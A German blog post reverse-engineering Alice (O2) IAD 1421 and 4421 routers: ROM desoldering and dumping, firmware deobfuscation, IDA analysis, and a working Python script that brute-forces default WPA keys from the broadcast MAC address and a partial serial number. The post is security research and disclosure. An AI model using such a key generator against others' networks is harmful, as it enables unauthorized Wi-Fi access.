RE des WPA-default Algorithmus der Alice (O2) IAD 1421 und 4421
In meinem vorherigen Post habe ich bereits den Algorithmus zur Generierung des WPA-default Passwort des Alice (O2) Wlan Modem 1121 gezeigt. Jetzt habe ich mir mal zwei weitere Typen angeschaut, welche unter dem Label Alice IAD 1421 und 4421 zu einem Alice DSL-Anschluss mitgeliefert werden bzw. wurden.
Suche nach Wegen an die Firmware zu kommen
Die beiden Boxen werden von Astoria Networks (Arcadyan OEM) hergestellt. Diese Information wird uns später noch von Nutzen sein wenn wir die Firmware "entschlüsseln". Doch ich greife vor.
Auch nach längerem suchen, konnte ich keinen Firmware-Download im Internet finden. Ich versuchte somit wie bei der Alice 1121 einen Zugang über die Netzwerk-Schnittstelle zu bekommen. Mit Nmap scannte ich nach offenen Ports. Doch leider war nichts interessantes dabei.
Da ich nach längerem suchen bei Alice sowie dem Hersteller Astoria/Arcadyan keine Firmware zu finden war, entschloss ich mich die Box zu öffnen und nach einem Weg zu suchen die Firmware aus dem Gerät zu extrahieren.
Hier ist ein Foto der 1421 mit bereits entferntem ROM und RAM. Dran kann man bereits erkennen, dass ich auch über UART keinen ausreichenden Zugriff auf die Firmware erhalten konnte, da der ROM bereits ausgelötet wurde. Auch der RAM fehlt in dem oberen Bild. Diesen hatte ich jedoch nur zum üben ausgelötet. ;)
So sieht die 4421 mit entferntem ROM aus. Auch hier kam ich mit UART nicht weiter.
Alle Informationen suchen die man finden kann
Zunächst habe ich nach einem seriellen Anschluss gesucht und auch bei beiden Geräten relativ schnell gefunden. Also den Buspirate angeschlossen und die Ausgabe mitgeschnitten.
=========================================================================== Wireless ADSL Gateway AMAZON_SE Loader V0.02.06 build Jul 23 2010 00:32:10 Arcadyan Technology Corporation =========================================================================== MXIC MX29LV160B bottom boot 16-bit mode found Copying boot params.....DONE Press Space Bar 3 times to enter command mode ... Flash Checking Passed. Unzipping firmware at 0x80002000 ... [ZIP 3] [ZIP 1] done [INIT] In c_entry() ... [INIT] Install Exception ... Co config = 80048483 [INIT] Install ISR ... ##### _ftext = 0x80002000 ##### _fdata = 0x8027F160 ##### __bss_start = 0x802C0BE0 ##### end = 0x80ECB788 allocate_memory_after_end> len 268928, ptr 0x80ed3790 ##### Backup Data from 0x8027F160 to 0x80ED3788~0x80F15208 len 268928 ##### Backup Data completed ##### Backup Data verified gptu: totally 6 16-bit timers/counters Init timer (4) - OK [INIT] System Log Pool startup ... [INIT] MTinitialize .. [INIT] usrclk CPU Clock 266666666 Hz mips_counter_frequency:133333333 r4k_offset: 000208d5(133333) init_US_counter : time1 = 208346 , time2 = 32208382, diff 32000036 US_counter = 66 cnt1 32790604 cnt2 32793675, diff 3071 Runtime code version: 1.00.16 System startup... [INIT] Memory COLOR 0, 1280000 bytes .. [INIT] Memory COLOR 1, 400000 bytes .. [INIT] Memory COLOR 2, 678880 bytes .. MXIC MX29LV160B bottom boot 16-bit mode found Set flash memory layout to Boot Parameters found !!! Bootcode version: V0.02.06
So sieht ein Teil der Konsolenausgabe des 1421er Bootloaders aus. Es enthält eine Menge Informationen. Unter anderem kann man dabei erkennen, dass es sich um einen MIPS32 Prozessor handelt und einen AMAZON_SE Bootloader verwendet wird.
Eine Suche nach diesem Bootloader offenbarte, dass es sich um einen proprietären OEM Loader auf Basis des brnboot handelt. Schaut man sich den weiteren Bootprozess an, so sieht man keinerlei Anzeichen für ein Linux. So wie es aussieht wird ein Realtime OS von Broadnet Tech. verwendet. Mit anderen Worten, viel viel Arbeit.
Auslöten des ROMs
Da wir jetzt unsere Konsolenausgabe haben können wir nun an die Hardware. Ich habe zum Auslöten der Chips eine Heißlötstation von Aoyue Int 906 verwendet.
Das Gerät ist recht günstig und für meine Zwecke ausreichend. Die Einstellungen die ich verwendet habe waren. Als Düse verwende ich die mit 4mm Durchmesser, Temperatur 400°C, AIR 4,5 und den Heater auf 4. Dabei führe ich die Düse in einem Abstand von ca. 2cm abwechselnd langsam über die Pins. Nach kurzer Zeit verflüssigt sich der Lötzinn und man kann den Chip mit einem Spitzen Gegenstand langsam anheben. Ich nutze dafür ein Teppichmesser. Dabei ist unbedingt darauf zu achten mit sehr sehr wenig Kraft den Chip an einer Seite ohne Pins langsam anzuheben. Macht man das zu früh oder mit zu viel Kraft, so heben sich die Pads inklusive Leiterbahnen mit ab. Sollte dies passiert sein, so hat man zwar den Chip aber der Router ist dann Schrott. Also lieber etwas länger Hitze drauf und langsamer abheben und alles ist Ok. Um die Temperatur muss man sich keine Gedanken machen, die Chips können die Hitze auch längere Zeit ab.
Auslesen des ROM-Chip
Nachdem wir nun den Chip ausgelötet haben, müssen wir ihn auslesen. Dazu braucht man ein EEPROM-Programmer mit dem passenden Adapter. Für solche Zwecke habe ich einen Chinaprogrammer Namens Minipro TL866CS mit den passenden Adaptern bei Ebay geshoppt. Den Programmer kann ich sehr empfehlen da er bei gleicher Leistung zu einem Profigerät nur ein Zehntel kostet. Die meisten Router verwenden TSOP48 Parallel oder 8SOIC Serial ROM. ES ist also gut diese beiden Adapter im Reportoir zu haben. In meinem Fall kamen diese und eine Menge anderer Adapter bereits mit.
Für die 1421 und 4421 brauche ich meinen TSOP48 Adapter um den MXIC MX29LV160B Chip auszulesen. Da man jeden anderen kompatiblen Programmer verwenden kann, möchte ich den Prozess des auslesens hier nicht weiter beschreiben.
Analyse des Roms mit Binwalk und Anpassung
Nachdem ich die Daten aus dem Romchip ausgelesen hatte, begann ich nun mit der Analyse. Dazu nutze ich immer das schöne Tool Binwalk von /dev/ttyS0. Dort findet man auch viele interessante Informationen über das Reversen von embedded Hardware. Hier die Ausgabe des unveränderten Romdumps:
DECIMAL HEX DESCRIPTION -------------------------------------------------------------------------------------------------------------------
Wie wir sehen, sehen wir nichts. Also schaute ich mir als nächstes die Ausgabe von Hexdump an:
$ hd romdump.bin | less
00008ea0 73 61 72 65 72 66 20 65 6c 20 6d 6f 74 61 63 6f |sarerf el motaco| 00008eb0 20 6e 6f 69 00 00 00 00 20 50 50 56 67 6e 61 72 | noi.... PPVgnar| 00008ec0 72 65 20 65 00 72 6f 72 6d 6d 6f 43 20 64 6e 61 |re e.rormmoC dna| 00008ed0 75 71 65 53 65 63 6e 65 72 72 45 20 00 00 72 6f |uqeSecnerrE ..ro|
Nach etwas scrollen kam ich an eine Stelle in 0x8ea0 die aussieht wie ein String. Also probierte ich das ganze mal in "strings" zu laden.
tirW netataD0 : x%xeR ,D da atax0 :# x% # ## MARDroW /R deT WF tseliata d%x0 .saP .des uoytnaw ot tsetmem yrootuaitamllacy(?y t reS ehtratddA sser ot tseT.... x0tnE t reE ehA dnerddt sseT o..tsx0.. t reS ehtratddA sser ot daeR.... x0taD eL ahtgn si )1(yB 4 set )2(yB 2 set )3(yB 1..et .tnE t reC ehtnuo ot daeR....xaM(numi001 )00--- ----------------------------------------------------
Das sieht interessant aus. Nur leider scheinen die Buchstaben durcheinander gewirbelt zu sein. Erinnern wir uns daran, dass es sich bei der CPU um eine Mips32 handelt.
Bei einer Mips32 CPU sind die Befehle und Daten immer in 32 Bit (4 Byte) Blöcken. Dabei kann die CPU sowohl in Big- als auch in Little-Endian Modus gefahren werden. Eine x86 CPU ist immer Little-Endian. Für diesen Fall müssen wir offensichtlich die Endianess ändern. Dazu habe ich ein kleines Python Skript geschrieben welches die Eingabedatei in die jeweilig andere Endianess ändert. Folglich nur alle 4 Byte Blöcke umkehrt.
# -*- coding: utf-8 -*- import sys def main(): if len(sys.argv) != 3: print 'usage: %s <src> <dst>' % sys.argv[0] return src = sys.argv[1] dst = sys.argv[2] f = open(src) data = f.read() f.close() f = open(dst, 'wb') for i in range(0, len(data), 4): f.write(data[i:i+4][::-1]) f.close() if __name__ == '__main__': main()
Also "python swap4_bytes.py romdump.bin romdump_4bswap.bin" und darauf nochmal ein "strings".
Unzipping firmware at 0x%x ... [%s Boot]: UPLOAD ERASE Enter Administrator Mode ! RESET_BTN was pressed, wake up Tiny_ETCPIP_KERNEL Press Space Bar 3 times to enter command mode ... Yes, Enter command mode ... Flash Checking fw/ui- Failed. Unzipping Tiny Kernel at 0x%x ... Tiny ETCPIP running ... Passed. ===========================================================================
So sieht das ganze doch schon viel besser aus. Jetzt können wir erneut ein binwalk probieren.
$ binwalk romdump_4bswap.bin DECIMAL HEX DESCRIPTION ------------------------------------------------------------------------------------------------------------------- 40960 0xA000 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 267160 bytes 122880 0x1E000 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 12616 bytes 1092608 0x10AC00 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 322840 bytes
Damit können wir arbeiten. Leider bringt das nichts, da die Daten nicht korrekt entpackt werden können.
Analyse des Bootloader mit IDA
Meine Vermutung daher war, dass die Daten auf irgendeine Art "verschlüsselt" sind. Damit das System jedoch startet muss es vom Bootloader entschlüsselt werden. Somit habe ich den ROM zunächst vollständig in IDA geladen.
Dazu wählen wir den Prozessortyp auf Mipsb (Big-Endian) und drücken auf OK. Wir bestätigen dann, dass wir auch wirklich den Prozessortyp ändern wollen.
Als nächstes laden wir den Rom an die Adresse 0x0 und suchen nach Anhaltspunkten wohin der Rom wirklich geladen werden muss.
Dann öffnet sich die Datei. Man bewegt den Cursor auf die 1. Zeile des vermeintlichen Programmcodes und drückt p um die Autoanalyse zu starten. Es erscheint der Assemblercode:
Wenn man etwas nach unten scrollt so sieht man, das die Adresse 0xB00002A0 in das Register t9 geladen und angesprungen wird. Somit vermute ich die Basisadresse für den Bootloader bei 0xB0000000. Ich lade die Datei nochmals als Mipsb an der Ardesse 0xB0000000.
Wieder suchen wir die erste Zeile und drücken p für die Analyse. Es werden 5 Funktionen erkannt. In einer Funktion wird der Bootcode von Adresse 0xB0000400 an die Adresse 0x806D0000 kopiert und ausgeführt.Das können wir simulieren in dem wird zu unserem aktuellen Speichersegment (0xB0000000) ein weiteres Segment (0x806D0000) einladen. Dazu gehen wir unter File -> Load File -> additional Binary File. In dem neuen Fenster geben wir folgendes ein:
Loading segment setzen wir auf 0, Loading Offset ist die Adresse an die wir das neue Segment laden wollen. Der File Offset ist die Anzahl der Bytes die wir überspringen wollen. Sie ergibt sich aus der Quelladresse (0xB0000400) minus der Basisadresse (0xB0000000) = 0x400. Ist das Segment richtig eingeladen so taucht es unter dem View "Program Segmentation" auf.
Nachdem ich den Code analysiert hatte fand ich die Funktion welche die einzelnen LZMA Archive "entschlüsselt" und entpackt. Die Arbeit hätte ich mir aber nicht machen brauchen, da andere schneller waren. Nach einer Suche nach dem Code fand ich den EasyBox Artikel von svieb. Er hat auch einen passenden C-Code für die "Entschlüsselung".
Was wir allerdings noch benötigen ist die Position der verschlüsselten Daten im Speicher. In der Konsolenausgabe finden wir die Zieladresse:
Unzipping firmware at 0x80002000 ... [ZIP 3] [ZIP 1] done
Sucht man nach diesem String findet man die Referenz
mit der Quelladresse 0xB0040000. An dieser Adresse befindet sich das "verschlüsselte" Betriebssystem Image (File Offset 0x40000).
Alternativ kann man auch nach Mustern im ROM mit Binwalk suchen.
binwalk -E <romdump>
Dort kann man den Wert an der steigenden Kante ablesen und kommt auf 262144 welches der Dezimalwert für 0x40000 ist. Diese Kante kommt durch den Wechsel von mehreren 0xFF Bytes (Bei einem ROM freier Speicher) zu einem vermeintlich zufälligen Werten.
Mit dd schneiden wir jetzt das Image aus.
dd if=romdump_4bswap.bin of=img1.bin bs=262144 skip=1
Dann "entschlüsseln" wir die Daten mit dem Tool von svieb und entpacken das ganze dann mit 7zip. Ich nutze 7Zip weil es lzma auch mit enthaltenem Müll entpacken kann.
./deobf img1.bin img1_deobfuscated.bin.lzma 7z e img1_deobfuscated.bin.lzma
Lades des extrahierten OS in IDA
Diese img1_deobfuscated.bin lädt man dann neu in IDA Pro entweder vollständig neu oder über Load Binary File als zusätzliches Segment in die Basisadresse 0x80002000.
Jetzt gehen wir -wie immer- an die erste Zeile und drücken p. Damit starten wir die Analyse die diesmal etwas dauert. Als nächstes suchen wir nach der SSID (Wlan-Netzwerkname) in dem Stringview (View -> Open Subview-> String Window). Der Grund dafür ist, dass die SSID meist in der Nähe des WPA-Passworts generiert wird.
Mit einem Doppelklick auf die Adresse springt man zu dieser. Dort findet man den String untereinander stehend. Wir wandeln die Bytefolge in ein Ascii-String durch drücken der a Taste. Nun sollten wir die Referenzen auf diese Adresse suchen. Dazu öffnen wir auf den "Cross Reference View" unter View -> Open Subview -> Cross References.
Mit einem Doppelklick springen wir an diese Referenz und versucht die Funktionen in der Nähe zu verstehen.
Wir sehen eine Funktion (sub_800E248C) die ALICE-WLAN als Argument nimmt. Dabei handelt es sich wahrscheinlich um die Generierung der SSID. Etwas weiter unten sieht man die Funktion sub_8004AE24 die A000000001 als Argument bekommt. Überfliegt man die Funktion so fallen einem viele XOR sowie Loadbyte und Storebyte Instruktionen auf.
Das scheint die Funktion zu sein die wir suchen. Als nächstes müssen wir die Funktion Schritt für Schritt verstehen. Dabei sollte man die Funktion und deren Eingaben (Register A0-A3) auch nur als Register behandeln und langsam die Operationen zusammenfassen und sehen ob man ein Muster erkennt. Wenn man die Funktionalität verstanden hat, braucht man als nächstes die Funktionsparameter. Schaut man in die äußere Funktion so findet man die Parameter. Es ist die MAC-Adresse sowie die Seriennummer des Geräts.
Nach einer langen Analyse sieht der fertige Python-Code für die Generierung des WPA-Default-Password dann so aus:
#!/usr/bin/python import sys def generate_key(mac_str, serial_number): sp = [] mac_data = [int(x, 16) for x in mac_str] sn_data = [int(x, 16) for x in serial_number] t0 = mac_data[8] t1 = sn_data[8] t2 = sn_data[7] t3 = mac_data[10] t4 = sn_data[6] a1 = sn_data[9] a2 = mac_data[9] a3 = mac_data[11] a0 = (t4+t2+t3+a3) & 0xf v1 = (t0+a2+t1+a1) & 0xf sp.append(a0^a1) sp.append(v1^a2) sp.append(t3^a1) sp.append(a0^t0) sp.append(v1^t4) sp.append(sn_data[5]) sp.append(a0^t1) sp.append(v1^t3) sp.append(a3^t1) sp.append(a0^a2) sp.append(v1^t2) sp.append(a0^t2) sp.append(v1^a3) sp.append(a0^v1) sp.append(a0^t3) sp.append(v1^t1) return ''.join([str(x%10) for x in sp]) def main(argv): if len(argv) < 2: hlp() return mac_str = argv[1].replace(':', '') if len(argv) == 3: with_ssid(mac_str, argv[2]) else: without_ssid(mac_str) def with_ssid(mac_str, ssid): i = 0 while i < (10**3): # serial number consists only digits 0-9 # last 2 digits of SSID == last 2 digits of serial number i_str = ('00000%03d' % i) + ssid[-2:] print generate_key(mac_str, serial_number = i_str) i+=1 def without_ssid(mac_str): i = 0 while i < (10**5): # serial number consists only digits 0-9 # full bf i_str = '00000%05d' % i print generate_key(mac_str, serial_number = i_str) i+=1 def hlp(): print 'usage: python alice_x421.py <mac> [ssid]' if __name__ == '__main__': main(sys.argv)
Aus diesem Code ergibt sich, dass nur die Seriennummer unbekannt ist (die MAC wird immer ausgesendet). Allerdings werden nur 5 Ziffern der Seriennummer verwendet. Das heisst 100000 Kombinationen. Eine aktuelle CPU schafft diese in unter 2 Minuten durch zu probieren. Interessant ist der Punkt, dass die letzten beiden Ziffern der Seriennummer für die SSID verwendet werden. Folglich sind nur noch 3 Ziffern (1000 Kombinationen) unbekannt. Dies schafft eine aktuelle CPU in unter 5 Sekunden.
Man sollte immer das Standardpasswort ändern.
Übrigens habe ich die Vermutung, dass sich die WPS-Pin auch aus der MAC und der Seriennummer generiert wird.










